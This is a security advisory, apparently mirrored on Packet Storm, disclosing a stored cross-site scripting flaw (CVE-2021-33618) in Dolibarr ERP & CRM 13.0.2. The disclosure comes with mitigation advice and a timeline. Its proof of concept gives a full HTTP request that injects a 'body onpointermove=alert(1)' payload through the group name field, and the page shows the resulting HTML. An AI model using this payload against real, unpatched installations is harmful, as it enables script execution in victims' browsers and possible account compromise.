what you don't know can hurt you

Dolibarr ERP / CRM 13.0.2 Cross Site Scripting

Dolibarr ERP / CRM 13.0.2 Cross Site Scripting
Posted Nov 10, 2021
Authored by Nick Decker | Site trovent.io

Dolibarr ERP and CRM version 13.0.2 suffer from a persistent cross site scripting vulnerability.

tags | exploit, xss
advisories | CVE-2021-33618
SHA-256 | 6afececee15157d0a85c82e9913e53a3fb7f9193f24e64dca4bef906cb032beb

Dolibarr ERP / CRM 13.0.2 Cross Site Scripting

Change Mirror Download
# Trovent Security Advisory 2105-02 #
#####################################


Stored cross-site scripting in Dolibarr ERP & CRM
#################################################


Overview
########

Advisory ID: TRSA-2105-02
Advisory version: 1.0
Advisory status: Public
Advisory URL: https://trovent.io/security-advisory-2105-02
Affected product: Dolibarr ERP & CRM
Tested versions: Dolibarr 13.0.2
Vendor: Dolibarr foundation, https://www.dolibarr.org
Credits: Trovent Security GmbH, Nick Decker


Detailed description
####################

Trovent Security GmbH discovered that the Dolibarr application does not escape
"greater than" and "smaller than" characters if they are reflected in one of the
small pop-up windows with details of the object.
This allows an attacker to add certain custom HTML tags and attributes.
In our PoC we used a "body" tag in conjunction with an "onpointermove" attribute
to achieve constant execution of the inserted JavaScript code.

Severity: Critical
CVSS Score: 9.0 (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H)
CWE ID: CWE-79
CVE ID: CVE-2021-33618


Proof of concept
################

This is the HTTP request to change the group name:

REQUEST:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


POST /user/group/card.php HTTP/1.1
Host: 10.11.9.80
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 -securitytest-for-dolibarr
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------329097076628264922392755475836
Content-Length: 950
Origin: http://10.11.9.80
Connection: close
Referer: http://10.11.9.80/user/group/card.php?id=1&action=edit&token=4726524fe505b027519a535e08c11fb6
Cookie: PHPSESSID=8s2jl8fhmbm5th8r4baasak1q2; DOLSESSID_736206a821984837877b8a6a901910d2=4jkf7smp24evfm3vvnnunj8jaq
Upgrade-Insecure-Requests: 1

- -----------------------------329097076628264922392755475836
Content-Disposition: form-data; name="token"

6585d0838337cafddc3387fcccbe9d91
- -----------------------------329097076628264922392755475836
Content-Disposition: form-data; name="action"

update
- -----------------------------329097076628264922392755475836
Content-Disposition: form-data; name="backtopage"

/user/group/card.php?id=1
- -----------------------------329097076628264922392755475836
Content-Disposition: form-data; name="id"

1
- -----------------------------329097076628264922392755475836
Content-Disposition: form-data; name="nom"

Trovent<<body onpointermove=alert(1) <>test
- -----------------------------329097076628264922392755475836
Content-Disposition: form-data; name="note"


- -----------------------------329097076628264922392755475836
Content-Disposition: form-data; name="save"

Save
- -----------------------------329097076628264922392755475836--


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~




CODE:

The HTML code of the site then includes the attribute in its body tag:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


<body id="mainbody" class="sidebar-collapse" <="" onpointermove="alert(1)" style="margin-bottom: 26px;">

<!-- Start top horizontal -->
<div class="side-nav-vert"><div id="id-top"><div id="tmenu_tooltip" class="tmenu">
[...]


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


Solution / Workaround
#####################

To mitigate this vulnerability, we recommend to always escape the user input
regardless of where it is reflected. Additionally we recommend to blacklist all
HTML tags and attributes.

Fixed in Dolibarr version 14.0.0, verified by Trovent.


History
#######

2021-05-25: Vulnerability found
2021-05-28: CVE ID requested & received
2021-05-31: Vendor contacted
2021-06-02: Vendor reported the vulnerability as fixed
2021-11-08: Add information about fixed version
2021-11-10: Advisory published
Login or Register to add favorites

File Archive:

May 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    0 Files
  • 2
    May 2nd
    15 Files
  • 3
    May 3rd
    19 Files
  • 4
    May 4th
    24 Files
  • 5
    May 5th
    15 Files
  • 6
    May 6th
    14 Files
  • 7
    May 7th
    0 Files
  • 8
    May 8th
    0 Files
  • 9
    May 9th
    13 Files
  • 10
    May 10th
    7 Files
  • 11
    May 11th
    99 Files
  • 12
    May 12th
    45 Files
  • 13
    May 13th
    7 Files
  • 14
    May 14th
    0 Files
  • 15
    May 15th
    0 Files
  • 16
    May 16th
    16 Files
  • 17
    May 17th
    26 Files
  • 18
    May 18th
    4 Files
  • 19
    May 19th
    17 Files
  • 20
    May 20th
    2 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close